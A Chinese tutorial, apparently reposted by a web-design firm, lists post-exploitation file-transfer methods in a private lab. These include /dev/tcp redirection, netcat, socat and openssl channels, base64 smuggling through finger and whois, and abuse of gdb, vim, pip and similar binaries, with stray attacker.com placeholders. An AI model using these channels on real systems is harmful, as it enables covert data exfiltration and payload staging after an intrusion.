本篇內容介紹了“Linux系統(tǒng)怎么在后滲透中的文件傳輸命令”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
創(chuàng)新互聯(lián)是專業(yè)的福州網站建設公司,福州接單;提供網站設計、成都網站設計,網頁設計,網站設計,建網站,PHP網站建設等專業(yè)做網站服務;采用PHP框架,可快速的進行福州網站開發(fā)網頁制作和功能擴展;專業(yè)做搜索引擎喜愛的網站,專業(yè)的做網站團隊,希望更多企業(yè)前來合作!
本文介紹Linux系統(tǒng)中進行文件傳輸?shù)姆椒?,主要用于后滲透過程中。
在本文的每個例子中,標題中的命令都是在Linux服務器上執(zhí)行的。
Linux服務器:CentOS 7,192.168.43.234(部分CentOS 7系統(tǒng)無法實現(xiàn)的,在Kali Linux系統(tǒng)中實現(xiàn))
遠程主機1:Linux Mint 20,192.168.43.237
遠程主機2:windows xp,192.168.43.87
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機監(jiān)聽12345端口
nc -l -p 12345 > bash.get
第二步,Linux服務器創(chuàng)建測試文件并使用bash將文件上傳到遠程主機
echo "sent by bash." > bash.sent
bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用busybox啟動web服務器
echo "sent by busybox." > busybox.sent
//啟動http服務,監(jiān)聽12345端口,指定當前目錄為工作目錄
busybox httpd -f -p 12345 -h .
第二步,遠程主機從Linux主機下載文件
wget http://192.168.43.234:12345/busybox.sent -O busybox.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動phpstudy,創(chuàng)建文件,名為upload_file.php,內容如下:
if ($_FILES["file"]["error"] > 0)
{
echo "錯誤:" . $_FILES["file"]["error"] . "
";
}
else
{
//將文件保存在當前目錄
move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"]);
echo "文件存儲在: " . "./" . $_FILES["file"]["name"];
echo "\n";
}
?>
保存退出。將upload_file.php放在web發(fā)布目錄中,之后啟動web服務。文件上傳的URL為:
http://192.168.43.87/upload/upload_file.php
第二步,Linux服務器創(chuàng)建測試文件并使用curl將文件上傳到遠程主機
echo "sent by curl" > curl.sent
curl http://192.168.43.87/upload/upload_file.php -F "file=@curl.sent" -v
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機監(jiān)聽79端口
sudo nc -l -p 79 | base64 -d > finger.get
第二步,Linux服務器創(chuàng)建測試文件并使用finger上傳文件
echo "sent by finger" > finger.sent
finger "$(base64 finger.sent)@192.168.43.237"
第三步,遠程主機查看收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動ftp服務
sudo python3 -m pyftpdlib -w -p 21
第二步,Linux服務器創(chuàng)建測試文件并使用ftp將文件上傳到遠程主機
echo "sent by ftp." > ftp.sent
ftp 192.168.43.237
put ftp.sent ftp.get
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動ftp服務
sudo python3 -m pyftpdlib -w -p 21
第二步,Linux服務器創(chuàng)建測試文件并使用ftp將文件上傳到遠程主機
echo "sent by ftp-upload." > ftp-upload.sent
perl ./ftp-upload -h 192.168.43.237 -u anonymous --password anonymous --as ftp-upload.get ftp-upload.sent
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用gdb啟動web服務
echo "sent by gdb." > gdb.sent
export LPORT=8888
gdb -nx -ex 'python import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8888/gdb.sent -O gdb.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用gimp啟動web服務
echo "sent by gimp." > gimp.sent
export LPORT=8888
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8888/gimp.sent -O gimp.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用irb啟動web服務
echo "sent by irb." > irb.sent
irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;
exit
第二步,遠程主機從LInux服務器下載文件
wget http://192.168.43.234:8888/irb.sent -O irb.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用ksh監(jiān)聽本地端口
echo "sent by ksh." > ksh.sent
ksh -c 'cat ksh.sent > /dev/tcp/192.168.43.237/12345'
第二步,遠程主機從Linux服務器下載文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機監(jiān)聽端口
nc -l -p 12345 > netcat.get
第二步,Linux服務器創(chuàng)建測試文件并使用netcat將文件上傳到遠程主機
echo "sent by netcat." > netcat.sent
nc 192.168.43.237 12345 < netcat.sent
第三步,遠程主機查看接收的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機創(chuàng)建證書并啟動監(jiān)聽
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > openssl.get
第二步,Linux服務器創(chuàng)建測試文件并使用openssl將文件上傳到遠程主機
echo "sent by openssl." > openssl.sent
openssl s_client -quiet -connect 192.168.43.237:12345 < "openssl.sent"
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用php啟動web服務
echo "sent by php." > php.sent
php -S 192.168.43.234:8888
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8888/php.sent -O php.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用pip啟動web服務
echo "sent by pip." > pip.sent
export LPORT=8888
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
pip3 install $TF
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8888/pip.sent -O pip.get
文件傳輸成功。
注意,在本例中,pip所發(fā)布web內容位于臨時目錄中,但不是/tmp/tmp.PBrtM68K5v,而是在/tmp/pip-jtub6bzs-build,需要將pip.sent文件復制到該目錄中才能下載。
第一步,Linux服務器創(chuàng)建測試文件并使用python啟動web服務
echo "sent by easy_install" > easy_install.txt
python3 -m http.server 8080
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8080/easy_install.txt
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機運行SSH服務并啟用SFTP
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用restic將文件上傳到遠程主機
RHOST=192.168.43.237
RPORT=12345
echo "sent by restic." > restic.sent
//初始化存儲倉庫
restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload init
//備份到遠程存儲倉庫
restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload backup restic.sent
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動ssh服務。
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用rsync將文件上傳到遠程主機
echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用ruby啟動web服務
echo "sent by ruby." > ruby.sent
ruby -run -e httpd . -p 8888
第二步,遠程主機從Linux服務器下載文件
wget http://192.168.43.234:8888/ruby.sent -O ruby.get
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用rvim啟動web服務
export LPORT=8888
echo "sent by rvim." > rvim.sent
rvim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'
服務啟動后命令窗口全黑。
第二步,遠程主機從Linux服務器下載文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動ssh服務。
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用scp將文件上傳到遠程主機
echo "sent by scp." > scp.sent
scp scp.sent user1@192.168.43.237:/home/user1/scp.get
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機運行SSH服務并啟用SFTP
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用sftp將文件上傳到遠程主機
echo "sent by sftp." > sftp.sent
sftp ftpuser1@192.168.43.237
put sftp.sent sftp.get
第三步,遠程主機查看收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動smb共享
sudo smbserver.py tmp ./ //smbclient在Impacker包中
第二步,Linux服務器創(chuàng)建測試文件并使用smbclient將文件上傳到遠程主機
echo "sent by smbclient." > smbclient.sent
smbclient '\\192.168.43.237\TMP' -c 'put smbclient.sent smbclient.get'
第三步,遠程主機查看收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機啟動監(jiān)聽
socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
第二步,Linux服務器創(chuàng)建測試文件并使用socat將文件上傳到遠程主機
echo "sent by nmap." > nmap.sent
socat -u FILE:nmap.sent TCP:192.168.43.237:9876
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機運行ssh服務。
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用ssh將文件上傳到遠程主機
echo "sent by ssh." > ssh.sent
ssh user1@192.168.43.237 "cat > ssh.get" < ssh.sent
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機運行ssh服務
systemctl start sshd
第二步,Linux服務器創(chuàng)建測試文件并使用tar將文件上傳到遠程主機
echo "sent by tar." > tar.sent
tar cvf user1@192.168.43.237:tar.get tar.sent --rsh-command=/bin/ssh
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,遠程主機運行TFTP服務
apt-get install atftpd //安裝tftp服務程序
mkdir /tmp/backup //創(chuàng)建目錄
chmod 777 /tmp/backup //修改權限
sudo atftpd --daemon --port 69 /tmp/backup //啟動服務程序
第二步,Linux服務器創(chuàng)建測試文件并使用tftp將文件上傳到遠程主機
echo "sent by tftp." > tftp.sent
tftp 192.168.43.237
put tftp.sent tftp.get
第三步,遠程主機查看接收到的文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
第一步,Linux服務器創(chuàng)建測試文件并使用vim啟動web服務器
echo "sent by vim." > vim.sent
export LPORT=8888
vim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'
第二步,遠程主機從Linux服務器下載文件
文件傳輸成功。
使用下面的命令將服務器本地文件上傳到遠程主機:
方法1
第一步,遠程主機啟動監(jiān)聽
nc -l -p 12345 > whois.get
第二步,Linux服務器創(chuàng)建測試文件并使用whois將文件上傳到遠程主機
echo "sent by whois." > whois.sent
whois -h 192.168.43.237 -p 12345 "`cat whois.sent`"
第三步,遠程主機查看接收到的文件
文件傳輸成功。
方法2
第一步,遠程主機啟動監(jiān)聽
nc -l -p 12345 | tr -d $'\x0d' | base64 -d > whois.get
第二步,Linux服務器創(chuàng)建測試文件并使用whois將文件上傳到遠程主機
echo "sent by whois again." > whois.sent
whois -h 192.168.43.237 -p 12345 "`base64 whois.sent`"
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并監(jiān)聽端口
echo "get by bash." > bash.sent
nc -l -p 12345 < bash.sent
第二步,Linux服務器使用bash從遠程主機下載文件
bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by curl." > curl.sent
python3 -m http.server 8080
第二步,Linux服務器使用curl從遠程主機下載文件
curl http://192.168.43.237:8080/curl.sent -o curl.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行netcat監(jiān)聽端口
echo "get by finger." > finger.sent
base64 "finger.sent" | sudo nc -l -p 79
第二步,Linux服務器使用finger從遠程主機下載文件
finger @192.168.43.237 | grep -v 192.168.43.237 | base64 -d > finger.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動FTP服務
echo "get by ftp." > ftp.sent
python3 -m pyftpdlib -p 2121
第二步,Linux服務器使用ftp從遠程主機下載文件
ftp 192.168.43.237
get ftp.sent ftp.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by gdb." > gdb.sent
python3 -m http.server 8080
第二步,Linux服務器使用gdb下載文件
export URL=http://192.168.43.237:8080/gdb.sent
export LFILE=gdb.get
gdb -nx -ex 'python import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' -ex quit
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by gimp." > gimp.sent
python3 -m http.server 8080
第二步,Linux服務器使用gimp下載文件
export URL=http://192.168.43.237:8080/gimp.sent
export LFILE=gimp.get
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by irb." > irb.sent
python3 -m http.server 8080
第二步,Linux服務器使用irb下載文件
export URL=http://192.168.43.237:8080/irb.sent
export LFILE=irb.get
irb
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by jjs." > jjs.sent
python3 -m http.server 8080
第二步,Linux服務器使用jjs下載文件
export URL=http://192.168.43.237:8080/jjs.sent
export LFILE=jjs.get
echo "var URL = Java.type('java.net.URL');
var ws = new URL('$URL');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('$LFILE');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();" | jjs
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by jrunscript." > jrunscript.sent
python3 -m http.server 8080
第二步,Linux服務器使用irb下載文件
export URL=http://192.168.43.237:8080/jrunscript.sent
export LFILE=jrunscript.get
jrunscript -e "cp('$URL','$LFILE')"
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行netcat監(jiān)聽端口
echo "get by bash." > ksh.sent
nc -l -p 12345 < ksh.sent
第二步,Linux服務器使用ksh下載文件
ksh -c 'cat < /dev/tcp/192.168.43.237/12345 > ksh.get'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by lwp-download." > lwp-download.sent
python3 -m http.server 8080
第二步,Linux服務器使用lwp-download下載文件
URL=http://attacker.com/file_to_get
LFILE=file_to_save
lwp-download http://192.168.43.237:8080/lwp-download.sent lwp-download.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行netcat監(jiān)聽端口
echo "get by netcat." > netcat.sent
nc -l -p 12345 < netcat.sent
第二步,Linux服務器使用netcat下載文件
nc -l -p 12345 > netcat.get
nc 192.168.43.237 12345 > netcat.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并創(chuàng)建證書并啟動監(jiān)聽
echo "get by openssl." > openssl.sent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < openssl.sent
第二步,Linux服務器使用openssl從遠程主機下載文件
openssl s_client -quiet -connect 192.168.43.237:12345 > openssl.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by php." > php.sent
python3 -m http.server 8080
第二步,Linux服務器使用php下載文件
export URL=http://192.168.43.237:8080/php.sent
export LFILE=php.get
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by pip." > pip.sent
python3 -m http.server 8080
第二步,Linux服務器使用pip下載文件
export URL=http://192.168.43.237:8080/pip.sent
export LFILE=/home/user1/pip.get
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip3 install $TF
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by python." > python.sent
python3 -m http.server 8080
第二步,Linux服務器使用python下載文件
export URL=http://192.168.43.237:8080/python.sent
export LFILE=python.get
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by ruby." > ruby.sent
python3 -m http.server 8080
第二步,Linux服務器使用ruby下載文件
export URL=http://192.168.43.237:8080/ruby.sent
export LFILE=ruby.get
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by rvim." > rvim.sent
python3 -m http.server 8080
第二步,Linux服務器使用rvim下載文件
export URL=http://192.168.43.237:8080/rvim.sent
export LFILE=rvim.get
rvim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動SSH服務
echo "get by scp." > /home/user1/scp.sent
sudo systemctl start sshd
第二步,Linux服務器使用scp下載文件
scp user1@192.168.43.237:/home/user1/scp.sent /home/user1/scp.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行SSH服務、啟用SFTP
echo "get by sftp." > /home/sftp/ftpuser1/sftp.sent
systemctl start sshd
第二步,Linux服務器使用sftp下載文件
sftp ftpuser1@192.168.43.237
get sftp.sent sftp.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動smb共享
echo "get by smbclient." > smbclient.sent
sudo smbserver.py tmp ./
第二步,Linux服務器使用smbclient下載文件
smbclient '\\192.168.43.237\TMP' -c 'get smbclient.sent smbclient.get'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行socat監(jiān)聽端口
echo "get by socat." > socat.sent
socat -u file: socat.sent tcp-listen:12345,reuseaddr
第二步,Linux服務器運行socat下載文件
socat -u tcp-connect:192.168.43.237:12345 open:socat.get,creat
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行SSH服務
echo "get by ssh." > /home/user1/ssh.sent
sudo systemctl start sshd
第二步,Linux服務器使用ssh下載文件
ssh 192.168.43.237 "cat /home/user1/ssh.sent" > ssh.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行SSH服務
echo "get by tar." > tar.sent
tar cvf tar.sent.tar tar.sent
sudo systemctl start sshd
第二步,Linux服務器使用tar下載文件
RHOST=attacker.com
RUSER=root
RFILE=/tmp/file_to_get.tar
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
tar xvf user1@192.168.43.237:/home/user1/tar.sent.tar --rsh-command=/bin/ssh
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行TFTP服務
mkdir /tmp/backup //創(chuàng)建目錄
echo "get by tftp." > /tmp/backup/tftp.sent
chmod 777 /tmp/backup //修改權限
sudo atftpd --daemon --port 69 /tmp/backup //啟動服務程序
第二步,Linux服務器使用tftp下載文件
tftp 192.168.43.237
get tftp.sent tftp.get
quit
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by vim." > vim.sent
python3 -m http.server 8080
第二步,Linux服務器使用vim下載文件
export URL=http://192.168.43.237:8080/vim.sent
export LFILE=vim.get
vim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并啟動web服務
echo "get by wget." > wget.sent
python3 -m http.server 8080
第二步,Linux服務器使用wget下載文件
wget http://192.168.43.237:8080/wget.sent -O wget.get
文件傳輸成功。
使用下面的命令將文件從遠程主機下載到Linux服務器本地:
第一步,遠程主機創(chuàng)建測試文件并運行netcat監(jiān)聽端口
echo "get by whois." > whois.sent
nc -l -p 12345 < whois.sent
第二步,Linux服務器使用whois下載文件
whois -h 192.168.43.237 -p 12345 '任意字符串' > whois.get
文件傳輸成功。
或者使用下面的方法:
第一步,遠程主機運行netcat監(jiān)聽端口
echo "get by whois again." > whois.sent
base64 "whois.sent" | nc -l -p 12345
第二步,Linux服務器使用whois下載文件
whois -h 192.168.43.237 -p 12345 "abc" | base64 -d > whois.get
"abc"為任意字符,必須輸入,不輸入則報錯。
文件傳輸成功。
“Linux系統(tǒng)怎么在后滲透中的文件傳輸命令”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關的知識可以關注創(chuàng)新互聯(lián)網站,小編將為大家輸出更多高質量的實用文章!